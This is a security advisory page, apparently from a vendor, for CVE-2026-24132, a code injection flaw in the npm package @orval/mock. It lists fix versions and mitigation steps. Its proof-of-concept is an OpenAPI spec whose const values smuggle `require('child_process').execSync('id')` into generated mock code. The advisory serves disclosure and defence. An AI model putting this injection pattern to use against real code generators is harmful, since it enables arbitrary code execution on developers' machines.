CVE-2026-24132 — @orval/mock
Fix: orval-labs/orval@44ca8c1CVE-2026-24132 is a CWE-77 vulnerability in @orval/mock. A fix is available for @orval/mock — see the affected versions and patch details below.
Orval Mock Generation Code Injection via const
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-24132.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@orval/mocknpmDescription
I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.
The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on [email protected] and [email protected] with mock: true, and that the generated mocks contain executable payloads such as require('child_process').execSync('id') in the output TypeScript.
openapi: 3.1.0
info:
title: Mock Const Injection PoC
version: 1.0.0
paths:
/test:
get:
operationId: getTests
responses:
'200':
description: OK
content:
application/json:
schema:
$ref: '#/components/schemas/Tests'
components:
schemas:
Tests:
type: object
properties:
EvilString:
type: string
const: "'); require('child_process').execSync('id'); //"
EvilNumber:
type: number
const: "0); require('child_process').execSync('id'); //"
SafeEnum:
type: string
enum: ["test"]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @orval/mock | all versions | 7.20.0npm install @orval/mock@7.20.0 |
| 📦npm | @orval/mock | ≥ 8.0.0-rc.0&&< 8.0.3 | 8.0.3npm install @orval/mock@8.0.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @orval/mock, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @orval/mock to 7.20.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-24132 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-24132 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-24132. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-24132 in your dependencies?
O3 Security finds CVE-2026-24132 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.